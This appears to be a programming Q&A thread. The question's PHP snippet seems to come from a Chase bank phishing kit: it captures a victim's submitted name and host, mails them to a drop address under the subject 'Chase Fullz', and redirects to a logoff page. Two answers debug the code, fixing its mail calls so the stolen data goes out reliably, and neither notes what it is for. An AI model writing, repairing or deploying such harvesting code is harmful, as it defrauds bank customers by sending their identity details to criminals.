$hostname = gethostbyaddr($ip);
$message .= "--------------+ User online +------------\n";
$message .= "Full Name : : ".$_POST['Name']."\n";

$send="123123#gmail.com";
$subject = "Chase Fullz";
$headers = "From: ChaseFullz<v3216#hotmail.com>";
$str=array($send, $IP); foreach ($str as $send)
if(mail($send,$subject,$rnessage,$headers) != false){
mail($Send,$subject,$rnessage,$headers);
mail($messege,$subject,$rnessage,$headers);
Header ("Location:logoff.php");
}
?>

Answer 1

Few things.
You have call mail() three times.
When you check if(mail() 1= false){}. you send mail again two more times with no recipient in 3rd mail();
mail($messege,$subject,$rnessage,$headers);
But still if you need to send multiple mail you can define them all in one array.
$recipients = array('mail1', 'mail2');
mail(implode(',', $recipients), $subject, $message, $headers);
And also if you need you can print error by
error_get_last()

Answer 2

$send="123123#gmail.com";
$subject = "Chase Fullz";
$headers = "From: ChaseFullz<v3216#hotmail.com>";
$str = array($send, $IP);/* seems redundant, you can't send an email to an ip address! */
/* Only one call to mail is needed */
if( mail( $send, $subject, $message, $headers) != false){
header ("Location:logoff.php");
} else {
echo 'failed';
}
